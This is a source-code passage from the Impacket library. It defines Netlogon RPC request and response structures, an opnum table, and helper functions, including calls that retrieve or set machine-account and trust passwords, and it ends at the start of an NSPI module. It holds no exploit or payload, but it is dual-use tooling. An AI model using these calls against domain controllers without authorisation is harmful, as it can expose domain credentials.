('AccountType',NETLOGON_SECURE_CHANNEL_TYPE),\n       ('ComputerName',WSTR),\n       ('Authenticator',NETLOGON_AUTHENTICATOR),\n    )\n\nclass NetrServerPasswordGetResponse(NDRCALL):\n    structure = (\n       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),\n       ('EncryptedNtOwfPassword',ENCRYPTED_NT_OWF_PASSWORD),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.4.8 NetrServerTrustPasswordsGet (Opnum 42)\nclass NetrServerTrustPasswordsGet(NDRCALL):\n    opnum = 42\n    structure = (\n       ('TrustedDcName',PLOGONSRV_HANDLE),\n       ('AccountName',WSTR),\n       ('SecureChannelType',NETLOGON_SECURE_CHANNEL_TYPE),\n       ('ComputerName',WSTR),\n       ('Authenticator',NETLOGON_AUTHENTICATOR),\n    )\n\nclass NetrServerTrustPasswordsGetResponse(NDRCALL):\n    structure = (\n       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),\n       ('EncryptedNewOwfPassword',ENCRYPTED_NT_OWF_PASSWORD),\n       ('EncryptedOldOwfPassword',ENCRYPTED_NT_OWF_PASSWORD),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.4.9 NetrLogonGetDomainInfo (Opnum 29)\nclass NetrLogonGetDomainInfo(NDRCALL):\n    opnum = 29\n    structure = (\n       ('ServerName',LOGONSRV_HANDLE),\n       ('ComputerName',LPWSTR),\n       ('Authenticator',NETLOGON_AUTHENTICATOR),\n       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),\n       ('Level',DWORD),\n       ('WkstaBuffer',NETLOGON_WORKSTATION_INFORMATION),\n    )\n\nclass NetrLogonGetDomainInfoResponse(NDRCALL):\n    structure = (\n       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),\n       ('DomBuffer',NETLOGON_DOMAIN_INFORMATION),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.4.10 NetrLogonGetCapabilities (Opnum 21)\nclass NetrLogonGetCapabilities(NDRCALL):\n    opnum = 21\n    structure = (\n       ('ServerName',LOGONSRV_HANDLE),\n       ('ComputerName',LPWSTR),\n       ('Authenticator',NETLOGON_AUTHENTICATOR),\n       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),\n       ('QueryLevel',DWORD),\n    )\n\nclass NetrLogonGetCapabilitiesResponse(NDRCALL):\n    structure = (\n       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),\n       ('ServerCapabilities',NETLOGON_CAPABILITIES),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.4.11 NetrChainSetClientAttributes (Opnum 49)\n\n# 3.5.4.5.1 NetrLogonSamLogonEx (Opnum 39)\nclass NetrLogonSamLogonEx(NDRCALL):\n    opnum = 39\n    structure = (\n       ('LogonServer',LPWSTR),\n       ('ComputerName',LPWSTR),\n       ('LogonLevel',NETLOGON_LOGON_INFO_CLASS),\n       ('LogonInformation',NETLOGON_LEVEL),\n       ('ValidationLevel',NETLOGON_VALIDATION_INFO_CLASS),\n       ('ExtraFlags',ULONG),\n    )\n\nclass NetrLogonSamLogonExResponse(NDRCALL):\n    structure = (\n       ('ValidationInformation',NETLOGON_VALIDATION),\n       ('Authoritative',UCHAR),\n       ('ExtraFlags',ULONG),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.5.2 NetrLogonSamLogonWithFlags (Opnum 45)\nclass NetrLogonSamLogonWithFlags(NDRCALL):\n    opnum = 45\n    structure = (\n       ('LogonServer',LPWSTR),\n       ('ComputerName',LPWSTR),\n       ('Authenticator',PNETLOGON_AUTHENTICATOR),\n       ('ReturnAuthenticator',PNETLOGON_AUTHENTICATOR),\n       ('LogonLevel',NETLOGON_LOGON_INFO_CLASS),\n       ('LogonInformation',NETLOGON_LEVEL),\n       ('ValidationLevel',NETLOGON_VALIDATION_INFO_CLASS),\n       ('ExtraFlags',ULONG),\n    )\n\nclass NetrLogonSamLogonWithFlagsResponse(NDRCALL):\n    structure = (\n       ('ReturnAuthenticator',PNETLOGON_AUTHENTICATOR),\n       ('ValidationInformation',NETLOGON_VALIDATION),\n       ('Authoritative',UCHAR),\n       ('ExtraFlags',ULONG),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.5.3 NetrLogonSamLogon (Opnum 2)\nclass NetrLogonSamLogon(NDRCALL):\n    opnum = 2\n    structure = (\n       ('LogonServer',LPWSTR),\n       ('ComputerName',LPWSTR),\n       ('Authenticator',PNETLOGON_AUTHENTICATOR),\n       ('ReturnAuthenticator',PNETLOGON_AUTHENTICATOR),\n       ('LogonLevel',NETLOGON_LOGON_INFO_CLASS),\n       ('LogonInformation',NETLOGON_LEVEL),\n       ('ValidationLevel',NETLOGON_VALIDATION_INFO_CLASS),\n    )\n\nclass NetrLogonSamLogonResponse(NDRCALL):\n    structure = (\n       ('ReturnAuthenticator',PNETLOGON_AUTHENTICATOR),\n       ('ValidationInformation',NETLOGON_VALIDATION),\n       ('Authoritative',UCHAR),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.5.4 NetrLogonSamLogoff (Opnum 3)\nclass NetrLogonSamLogoff(NDRCALL):\n    opnum = 3\n    structure = (\n       ('LogonServer',LPWSTR),\n       ('ComputerName',LPWSTR),\n       ('Authenticator',PNETLOGON_AUTHENTICATOR),\n       ('ReturnAuthenticator',PNETLOGON_AUTHENTICATOR),\n       ('LogonLevel',NETLOGON_LOGON_INFO_CLASS),\n       ('LogonInformation',NETLOGON_LEVEL),\n    )\n\nclass NetrLogonSamLogoffResponse(NDRCALL):\n    structure = (\n       ('ReturnAuthenticator',PNETLOGON_AUTHENTICATOR),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.6.1 NetrDatabaseDeltas (Opnum 7)\nclass NetrDatabaseDeltas(NDRCALL):\n    opnum = 7\n    structure = (\n       ('PrimaryName',LOGONSRV_HANDLE),\n       ('ComputerName',WSTR),\n       ('Authenticator',NETLOGON_AUTHENTICATOR),\n       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),\n       ('DatabaseID',DWORD),\n       ('DomainModifiedCount',NLPR_MODIFIED_COUNT),\n       ('PreferredMaximumLength',DWORD),\n    )\n\nclass NetrDatabaseDeltasResponse(NDRCALL):\n    structure = (\n       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),\n       ('DomainModifiedCount',NLPR_MODIFIED_COUNT),\n       ('DeltaArray',PNETLOGON_DELTA_ENUM_ARRAY),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.6.2 NetrDatabaseSync2 (Opnum 16)\nclass NetrDatabaseSync2(NDRCALL):\n    opnum = 16\n    structure = (\n       ('PrimaryName',LOGONSRV_HANDLE),\n       ('ComputerName',WSTR),\n       ('Authenticator',NETLOGON_AUTHENTICATOR),\n       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),\n       ('DatabaseID',DWORD),\n       ('RestartState',SYNC_STATE),\n       ('SyncContext',ULONG),\n       ('PreferredMaximumLength',DWORD),\n    )\n\nclass NetrDatabaseSync2Response(NDRCALL):\n    structure = (\n       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),\n       ('SyncContext',ULONG),\n       ('DeltaArray',PNETLOGON_DELTA_ENUM_ARRAY),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.6.3 NetrDatabaseSync (Opnum 8)\nclass NetrDatabaseSync(NDRCALL):\n    opnum = 8\n    structure = (\n       ('PrimaryName',LOGONSRV_HANDLE),\n       ('ComputerName',WSTR),\n       ('Authenticator',NETLOGON_AUTHENTICATOR),\n       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),\n       ('DatabaseID',DWORD),\n       ('SyncContext',ULONG),\n       ('PreferredMaximumLength',DWORD),\n    )\n\nclass NetrDatabaseSyncResponse(NDRCALL):\n    structure = (\n       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),\n       ('SyncContext',ULONG),\n       ('DeltaArray',PNETLOGON_DELTA_ENUM_ARRAY),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.6.4 NetrDatabaseRedo (Opnum 17)\nclass NetrDatabaseRedo(NDRCALL):\n    opnum = 17\n    structure = (\n       ('PrimaryName',LOGONSRV_HANDLE),\n       ('ComputerName',WSTR),\n       ('Authenticator',NETLOGON_AUTHENTICATOR),\n       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),\n       ('ChangeLogEntry',PUCHAR_ARRAY),\n       ('ChangeLogEntrySize',DWORD),\n    )\n\nclass NetrDatabaseRedoResponse(NDRCALL):\n    structure = (\n       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),\n       ('DeltaArray',PNETLOGON_DELTA_ENUM_ARRAY),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.7.1 DsrEnumerateDomainTrusts (Opnum 40)\nclass DsrEnumerateDomainTrusts(NDRCALL):\n    opnum = 40\n    structure = (\n       ('ServerName',PLOGONSRV_HANDLE),\n       ('Flags',ULONG),\n    )\n\nclass DsrEnumerateDomainTrustsResponse(NDRCALL):\n    structure = (\n       ('Domains',NETLOGON_TRUSTED_DOMAIN_ARRAY),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.7.2 NetrEnumerateTrustedDomainsEx (Opnum 36)\nclass NetrEnumerateTrustedDomainsEx(NDRCALL):\n    opnum = 36\n    structure = (\n       ('ServerName',PLOGONSRV_HANDLE),\n    )\n\nclass NetrEnumerateTrustedDomainsExResponse(NDRCALL):\n    structure = (\n       ('Domains',NETLOGON_TRUSTED_DOMAIN_ARRAY),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.7.3 NetrEnumerateTrustedDomains (Opnum 19)\nclass NetrEnumerateTrustedDomains(NDRCALL):\n    opnum = 19\n    structure = (\n       ('ServerName',PLOGONSRV_HANDLE),\n    )\n\nclass NetrEnumerateTrustedDomainsResponse(NDRCALL):\n    structure = (\n       ('DomainNameBuffer',DOMAIN_NAME_BUFFER),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.7.4 NetrGetForestTrustInformation (Opnum 44)\nclass NetrGetForestTrustInformation(NDRCALL):\n    opnum = 44\n    structure = (\n       ('ServerName',PLOGONSRV_HANDLE),\n       ('ComputerName',WSTR),\n       ('Authenticator',NETLOGON_AUTHENTICATOR),\n       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),\n       ('Flags',DWORD),\n    )\n\nclass NetrGetForestTrustInformationResponse(NDRCALL):\n    structure = (\n       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),\n       ('ForestTrustInfo',PLSA_FOREST_TRUST_INFORMATION),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.7.5 DsrGetForestTrustInformation (Opnum 43)\nclass DsrGetForestTrustInformation(NDRCALL):\n    opnum = 43\n    structure = (\n       ('ServerName',PLOGONSRV_HANDLE),\n       ('TrustedDomainName',LPWSTR),\n       ('Flags',DWORD),\n    )\n\nclass DsrGetForestTrustInformationResponse(NDRCALL):\n    structure = (\n       ('ForestTrustInfo',PLSA_FOREST_TRUST_INFORMATION),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.7.6 NetrServerGetTrustInfo (Opnum 46)\nclass NetrServerGetTrustInfo(NDRCALL):\n    opnum = 46\n    structure = (\n       ('TrustedDcName',PLOGONSRV_HANDLE),\n       ('AccountName',WSTR),\n       ('SecureChannelType',NETLOGON_SECURE_CHANNEL_TYPE),\n       ('ComputerName',WSTR),\n       ('Authenticator',NETLOGON_AUTHENTICATOR),\n    )\n\nclass NetrServerGetTrustInfoResponse(NDRCALL):\n    structure = (\n       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),\n       ('EncryptedNewOwfPassword',ENCRYPTED_NT_OWF_PASSWORD),\n       ('EncryptedOldOwfPassword',ENCRYPTED_NT_OWF_PASSWORD),\n       ('TrustInfo',PNL_GENERIC_RPC_DATA),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.8.1 NetrLogonGetTrustRid (Opnum 23)\nclass NetrLogonGetTrustRid(NDRCALL):\n    opnum = 23\n    structure = (\n       ('ServerName',PLOGONSRV_HANDLE),\n       ('DomainName',LPWSTR),\n    )\n\nclass NetrLogonGetTrustRidResponse(NDRCALL):\n    structure = (\n       ('Rid',ULONG),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.8.2 NetrLogonComputeServerDigest (Opnum 24)\nclass NetrLogonComputeServerDigest(NDRCALL):\n    opnum = 24\n    structure = (\n       ('ServerName',PLOGONSRV_HANDLE),\n       ('Rid',ULONG),\n       ('Message',UCHAR_ARRAY),\n       ('MessageSize',ULONG),\n    )\n\nclass NetrLogonComputeServerDigestResponse(NDRCALL):\n    structure = (\n       ('NewMessageDigest',CHAR_FIXED_16_ARRAY),\n       ('OldMessageDigest',CHAR_FIXED_16_ARRAY),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.8.3 NetrLogonComputeClientDigest (Opnum 25)\nclass NetrLogonComputeClientDigest(NDRCALL):\n    opnum = 25\n    structure = (\n       ('ServerName',PLOGONSRV_HANDLE),\n       ('DomainName',LPWSTR),\n       ('Message',UCHAR_ARRAY),\n       ('MessageSize',ULONG),\n    )\n\nclass NetrLogonComputeClientDigestResponse(NDRCALL):\n    structure = (\n       ('NewMessageDigest',CHAR_FIXED_16_ARRAY),\n       ('OldMessageDigest',CHAR_FIXED_16_ARRAY),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.8.4 NetrLogonSendToSam (Opnum 32)\nclass NetrLogonSendToSam(NDRCALL):\n    opnum = 32\n    structure = (\n       ('PrimaryName',PLOGONSRV_HANDLE),\n       ('ComputerName',WSTR),\n       ('Authenticator',NETLOGON_AUTHENTICATOR),\n       ('OpaqueBuffer',UCHAR_ARRAY),\n       ('OpaqueBufferSize',ULONG),\n    )\n\nclass NetrLogonSendToSamResponse(NDRCALL):\n    structure = (\n       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.8.5 NetrLogonSetServiceBits (Opnum 22)\nclass NetrLogonSetServiceBits(NDRCALL):\n    opnum = 22\n    structure = (\n       ('ServerName',PLOGONSRV_HANDLE),\n       ('ServiceBitsOfInterest',DWORD),\n       ('ServiceBits',DWORD),\n    )\n\nclass NetrLogonSetServiceBitsResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.8.6 NetrLogonGetTimeServiceParentDomain (Opnum 35)\nclass NetrLogonGetTimeServiceParentDomain(NDRCALL):\n    opnum = 35\n    structure = (\n       ('ServerName',PLOGONSRV_HANDLE),\n    )\n\nclass NetrLogonGetTimeServiceParentDomainResponse(NDRCALL):\n    structure = (\n       ('DomainName',LPWSTR),\n       ('PdcSameSite',LONG),\n       ('ErrorCode',NET_API_STATUS),\n    )\n\n# 3.5.4.9.1 NetrLogonControl2Ex (Opnum 18)\nclass NetrLogonControl2Ex(NDRCALL):\n    opnum = 18\n    structure = (\n       ('ServerName',PLOGONSRV_HANDLE),\n       ('FunctionCode',DWORD),\n       ('QueryLevel',DWORD),\n       ('Data',NETLOGON_CONTROL_DATA_INFORMATION),\n    )\n\nclass NetrLogonControl2ExResponse(NDRCALL):\n    structure = (\n       ('Buffer', NETLOGON_CONTROL_QUERY_INFORMATION),\n       ('ErrorCode',NET_API_STATUS),\n    )\n\n# 3.5.4.9.2 NetrLogonControl2 (Opnum 14)\nclass NetrLogonControl2(NDRCALL):\n    opnum = 14\n    structure = (\n       ('ServerName',PLOGONSRV_HANDLE),\n       ('FunctionCode',DWORD),\n       ('QueryLevel',DWORD),\n       ('Data',NETLOGON_CONTROL_DATA_INFORMATION),\n    )\n\nclass NetrLogonControl2Response(NDRCALL):\n    structure = (\n       ('Buffer', NETLOGON_CONTROL_QUERY_INFORMATION),\n       ('ErrorCode',NET_API_STATUS),\n    )\n\n# 3.5.4.9.3 NetrLogonControl (Opnum 12)\nclass NetrLogonControl(NDRCALL):\n    opnum = 12\n    structure = (\n       ('ServerName',PLOGONSRV_HANDLE),\n       ('FunctionCode',DWORD),\n       ('QueryLevel',DWORD),\n       ('Data',NETLOGON_CONTROL_DATA_INFORMATION),\n    )\n\nclass NetrLogonControlResponse(NDRCALL):\n    structure = (\n       ('Buffer',NETLOGON_CONTROL_DATA_INFORMATION),\n       ('ErrorCode',NET_API_STATUS),\n    )\n\n# 3.5.4.10.1 NetrLogonUasLogon (Opnum 0)\nclass NetrLogonUasLogon(NDRCALL):\n    opnum = 0\n    structure = (\n       ('ServerName',PLOGONSRV_HANDLE),\n       ('UserName',WSTR),\n       ('Workstation',WSTR),\n    )\n\nclass NetrLogonUasLogonResponse(NDRCALL):\n    structure = (\n       ('ValidationInformation',PNETLOGON_VALIDATION_UAS_INFO),\n       ('ErrorCode',NET_API_STATUS),\n    )\n\n# 3.5.4.10.2 NetrLogonUasLogoff (Opnum 1)\nclass NetrLogonUasLogoff(NDRCALL):\n    opnum = 1\n    structure = (\n       ('ServerName',PLOGONSRV_HANDLE),\n       ('UserName',WSTR),\n       ('Workstation',WSTR),\n    )\n\nclass NetrLogonUasLogoffResponse(NDRCALL):\n    structure = (\n       ('LogoffInformation',NETLOGON_LOGOFF_UAS_INFO),\n       ('ErrorCode',NET_API_STATUS),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n 0 : (NetrLogonUasLogon, NetrLogonUasLogonResponse),\n 1 : (NetrLogonUasLogoff, NetrLogonUasLogoffResponse),\n 2 : (NetrLogonSamLogon, NetrLogonSamLogonResponse),\n 3 : (NetrLogonSamLogoff, NetrLogonSamLogoffResponse),\n 4 : (NetrServerReqChallenge, NetrServerReqChallengeResponse),\n 5 : (NetrServerAuthenticate, NetrServerAuthenticateResponse),\n# 6 : (NetrServerPasswordSet, NetrServerPasswordSetResponse),\n 7 : (NetrDatabaseDeltas, NetrDatabaseDeltasResponse),\n 8 : (NetrDatabaseSync, NetrDatabaseSyncResponse),\n# 9 : (NetrAccountDeltas, NetrAccountDeltasResponse),\n# 10 : (NetrAccountSync, NetrAccountSyncResponse),\n 11 : (NetrGetDCName, NetrGetDCNameResponse),\n 12 : (NetrLogonControl, NetrLogonControlResponse),\n 13 : (NetrGetAnyDCName, NetrGetAnyDCNameResponse),\n 14 : (NetrLogonControl2, NetrLogonControl2Response),\n 15 : (NetrServerAuthenticate2, NetrServerAuthenticate2Response),\n 16 : (NetrDatabaseSync2, NetrDatabaseSync2Response),\n 17 : (NetrDatabaseRedo, NetrDatabaseRedoResponse),\n 18 : (NetrLogonControl2Ex, NetrLogonControl2ExResponse),\n 19 : (NetrEnumerateTrustedDomains, NetrEnumerateTrustedDomainsResponse),\n 20 : (DsrGetDcName, DsrGetDcNameResponse),\n 21 : (NetrLogonGetCapabilities, NetrLogonGetCapabilitiesResponse),\n 22 : (NetrLogonSetServiceBits, NetrLogonSetServiceBitsResponse),\n 23 : (NetrLogonGetTrustRid, NetrLogonGetTrustRidResponse),\n 24 : (NetrLogonComputeServerDigest, NetrLogonComputeServerDigestResponse),\n 25 : (NetrLogonComputeClientDigest, NetrLogonComputeClientDigestResponse),\n 26 : (NetrServerAuthenticate3, NetrServerAuthenticate3Response),\n 27 : (DsrGetDcNameEx, DsrGetDcNameExResponse),\n 28 : (DsrGetSiteName, DsrGetSiteNameResponse),\n 29 : (NetrLogonGetDomainInfo, NetrLogonGetDomainInfoResponse),\n 30 : (NetrServerPasswordSet2, NetrServerPasswordSet2Response),\n 31 : (NetrServerPasswordGet, NetrServerPasswordGetResponse),\n 32 : (NetrLogonSendToSam, NetrLogonSendToSamResponse),\n 33 : (DsrAddressToSiteNamesW, DsrAddressToSiteNamesWResponse),\n 34 : (DsrGetDcNameEx2, DsrGetDcNameEx2Response),\n 35 : (NetrLogonGetTimeServiceParentDomain, NetrLogonGetTimeServiceParentDomainResponse),\n 36 : (NetrEnumerateTrustedDomainsEx, NetrEnumerateTrustedDomainsExResponse),\n 37 : (DsrAddressToSiteNamesExW, DsrAddressToSiteNamesExWResponse),\n 38 : (DsrGetDcSiteCoverageW, DsrGetDcSiteCoverageWResponse),\n 39 : (NetrLogonSamLogonEx, NetrLogonSamLogonExResponse),\n 40 : (DsrEnumerateDomainTrusts, DsrEnumerateDomainTrustsResponse),\n 41 : (DsrDeregisterDnsHostRecords, DsrDeregisterDnsHostRecordsResponse),\n 42 : (NetrServerTrustPasswordsGet, NetrServerTrustPasswordsGetResponse),\n 43 : (DsrGetForestTrustInformation, DsrGetForestTrustInformationResponse),\n 44 : (NetrGetForestTrustInformation, NetrGetForestTrustInformationResponse),\n 45 : (NetrLogonSamLogonWithFlags, NetrLogonSamLogonWithFlagsResponse),\n 46 : (NetrServerGetTrustInfo, NetrServerGetTrustInfoResponse),\n# 48 : (DsrUpdateReadOnlyServerDnsRecords, DsrUpdateReadOnlyServerDnsRecordsResponse),\n# 49 : (NetrChainSetClientAttributes, NetrChainSetClientAttributesResponse),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef checkNullString(string):\n    if string == NULL:\n        return string\n\n    if string[-1:] != '\\x00':\n        return string + '\\x00'\n    else:\n        return string\n\ndef hNetrServerReqChallenge(dce, primaryName, computerName, clientChallenge):\n    request = NetrServerReqChallenge()\n    request['PrimaryName'] = checkNullString(primaryName)\n    request['ComputerName'] = checkNullString(computerName)\n    request['ClientChallenge'] = clientChallenge\n    return dce.request(request)\n\ndef hNetrServerAuthenticate3(dce, primaryName, accountName, secureChannelType, computerName, clientCredential, negotiateFlags):\n    request = NetrServerAuthenticate3()\n    request['PrimaryName'] = checkNullString(primaryName)\n    request['AccountName'] = checkNullString(accountName)\n    request['SecureChannelType'] = secureChannelType\n    request['ClientCredential'] = clientCredential\n    request['ComputerName'] = checkNullString(computerName)\n    request['NegotiateFlags'] = negotiateFlags\n    return dce.request(request)\n\ndef hDsrGetDcNameEx2(dce, computerName, accountName, allowableAccountControlBits, domainName, domainGuid, siteName, flags):\n    request = DsrGetDcNameEx2()\n    request['ComputerName'] = checkNullString(computerName)\n    request['AccountName'] = checkNullString(accountName)\n    request['AllowableAccountControlBits'] = allowableAccountControlBits\n    request['DomainName'] = checkNullString(domainName)\n    request['DomainGuid'] = domainGuid\n    request['SiteName'] = checkNullString(siteName)\n    request['Flags'] = flags\n    return dce.request(request)\n\ndef hDsrGetDcNameEx(dce, computerName, domainName, domainGuid, siteName, flags):\n    request = DsrGetDcNameEx()\n    request['ComputerName'] = checkNullString(computerName)\n    request['DomainName'] = checkNullString(domainName)\n    request['DomainGuid'] = domainGuid\n    request['SiteName'] = siteName\n    request['Flags'] = flags\n    return dce.request(request)\n\ndef hDsrGetDcName(dce, computerName, domainName, domainGuid, siteGuid, flags):\n    request = DsrGetDcName()\n    request['ComputerName'] = checkNullString(computerName)\n    request['DomainName'] = checkNullString(domainName)\n    request['DomainGuid'] = domainGuid\n    request['SiteGuid'] = siteGuid\n    request['Flags'] = flags\n    return dce.request(request)\n\ndef hNetrGetAnyDCName(dce, serverName, domainName):\n    request = NetrGetAnyDCName()\n    request['ServerName'] = checkNullString(serverName)\n    request['DomainName'] = checkNullString(domainName)\n    return dce.request(request)\n\ndef hNetrGetDCName(dce, serverName, domainName):\n    request = NetrGetDCName()\n    request['ServerName'] = checkNullString(serverName)\n    request['DomainName'] = checkNullString(domainName)\n    return dce.request(request)\n\ndef hDsrGetSiteName(dce, computerName):\n    request = DsrGetSiteName()\n    request['ComputerName'] = checkNullString(computerName)\n    return dce.request(request)\n\ndef hDsrGetDcSiteCoverageW(dce, serverName):\n    request = DsrGetDcSiteCoverageW()\n    request['ServerName'] = checkNullString(serverName)\n    return dce.request(request)\n\ndef hNetrServerAuthenticate2(dce, primaryName, accountName, secureChannelType, computerName, clientCredential, negotiateFlags):\n    request = NetrServerAuthenticate2()\n    request['PrimaryName'] = checkNullString(primaryName)\n    request['AccountName'] = checkNullString(accountName)\n    request['SecureChannelType'] = secureChannelType\n    request['ClientCredential'] = clientCredential\n    request['ComputerName'] = checkNullString(computerName)\n    request['NegotiateFlags'] = negotiateFlags\n    return dce.request(request)\n\ndef hNetrServerAuthenticate(dce, primaryName, accountName, secureChannelType, computerName, clientCredential):\n    request = NetrServerAuthenticate()\n    request['PrimaryName'] = checkNullString(primaryName)\n    request['AccountName'] = checkNullString(accountName)\n    request['SecureChannelType'] = secureChannelType\n    request['ClientCredential'] = clientCredential\n    request['ComputerName'] = checkNullString(computerName)\n    return dce.request(request)\n\ndef hNetrServerPasswordGet(dce, primaryName, accountName, accountType, computerName, authenticator):\n    request = NetrServerPasswordGet()\n    request['PrimaryName'] = checkNullString(primaryName)\n    request['AccountName'] = checkNullString(accountName)\n    request['AccountType'] = accountType\n    request['ComputerName'] = checkNullString(computerName)\n    request['Authenticator'] = authenticator\n    return dce.request(request)\n\ndef hNetrServerTrustPasswordsGet(dce, trustedDcName, accountName, secureChannelType, computerName, authenticator):\n    request = NetrServerTrustPasswordsGet()\n    request['TrustedDcName'] = checkNullString(trustedDcName)\n    request['AccountName'] = checkNullString(accountName)\n    request['SecureChannelType'] = secureChannelType\n    request['ComputerName'] = checkNullString(computerName)\n    request['Authenticator'] = authenticator\n    return dce.request(request)\n\ndef hNetrServerPasswordSet2(dce, primaryName, accountName, secureChannelType, computerName, authenticator, clearNewPasswordBlob):\n    request = NetrServerPasswordSet2()\n    request['PrimaryName'] = checkNullString(primaryName)\n    request['AccountName'] = checkNullString(accountName)\n    request['SecureChannelType'] = secureChannelType\n    request['ComputerName'] = checkNullString(computerName)\n    request['Authenticator'] = authenticator\n    request['ClearNewPassword'] = clearNewPasswordBlob\n    return dce.request(request)\n\ndef hNetrLogonGetDomainInfo(dce, serverName, computerName, authenticator, returnAuthenticator=0, level=1):\n    request = NetrLogonGetDomainInfo()\n    request['ServerName'] = checkNullString(serverName)\n    request['ComputerName'] = checkNullString(computerName)\n    request['Authenticator'] = authenticator\n    if returnAuthenticator == 0:\n        request['ReturnAuthenticator']['Credential'] = b'\\x00'*8\n        request['ReturnAuthenticator']['Timestamp'] = 0\n    else:\n        request['ReturnAuthenticator'] = returnAuthenticator\n\n    request['Level'] = 1\n    if level == 1:\n        request['WkstaBuffer']['tag'] = 1\n        request['WkstaBuffer']['WorkstationInfo']['DnsHostName'] = NULL\n        request['WkstaBuffer']['WorkstationInfo']['SiteName'] = NULL\n        request['WkstaBuffer']['WorkstationInfo']['OsName'] = ''\n        request['WkstaBuffer']['WorkstationInfo']['Dummy1'] = NULL\n        request['WkstaBuffer']['WorkstationInfo']['Dummy2'] = NULL\n        request['WkstaBuffer']['WorkstationInfo']['Dummy3'] = NULL\n        request['WkstaBuffer']['WorkstationInfo']['Dummy4'] = NULL\n    else:\n        request['WkstaBuffer']['tag'] = 2\n        request['WkstaBuffer']['LsaPolicyInfo']['LsaPolicy'] = NULL\n    return dce.request(request)\n\ndef hNetrLogonGetCapabilities(dce, serverName, computerName, authenticator, returnAuthenticator=0, queryLevel=1):\n    request = NetrLogonGetCapabilities()\n    request['ServerName'] = checkNullString(serverName)\n    request['ComputerName'] = checkNullString(computerName)\n    request['Authenticator'] = authenticator\n    if returnAuthenticator == 0:\n        request['ReturnAuthenticator']['Credential'] = b'\\x00'*8\n        request['ReturnAuthenticator']['Timestamp'] = 0\n    else:\n        request['ReturnAuthenticator'] = returnAuthenticator\n    request['QueryLevel'] = queryLevel\n    return dce.request(request)\n\ndef hNetrServerGetTrustInfo(dce, trustedDcName, accountName, secureChannelType, computerName, authenticator):\n    request = NetrServerGetTrustInfo()\n    request['TrustedDcName'] = checkNullString(trustedDcName)\n    request['AccountName'] = checkNullString(accountName)\n    request['SecureChannelType'] = secureChannelType\n    request['ComputerName'] = checkNullString(computerName)\n    request['Authenticator'] = authenticator\n    return dce.request(request)\n"
  },
  {
    "path": "impacket/dcerpc/v5/nspi.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-NSPI]: Name Service Provider Interface (NSPI) Protocol\n#   [MS-OXNSPI]: Exchange Server Name Service Provider Interface (NSPI) Protocol\n#\n#   Tested for MS-OXNSPI, some operation may not work for MS-NSPI\n#\n# Author:\n#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)\n#\n# ToDo:\n#   [ ] Test commented NDRCALLs and write helpers for them\n#   [ ] Test restriction structures\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom struct import unpack\nfrom datetime import datetime\nfrom six import PY2\nimport binascii\n\nfrom impacket import hresult_errors, mapi_constants, uuid\nfrom impacket.uuid import EMPTY_UUID\nfrom impacket.structure import Structure\nfrom impacket.dcerpc.v5.dtypes import NULL, STR, DWORD, LPDWORD, UUID, PUUID, LONG, ULONG, \\\n    FILETIME, PFILETIME, BYTE, SHORT, LPSTR, LPWSTR, USHORT, LPLONG, DWORD_ARRAY\nfrom impacket.ldap.ldaptypes import LDAP_SID\nfrom impacket.dcerpc.v5.ndr import NDR, NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, \\\n    NDRUniConformantVaryingArray, NDRUniConformantArray, NDRUniVaryingArray\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.uuid import string_to_bin, uuidtup_to_bin, 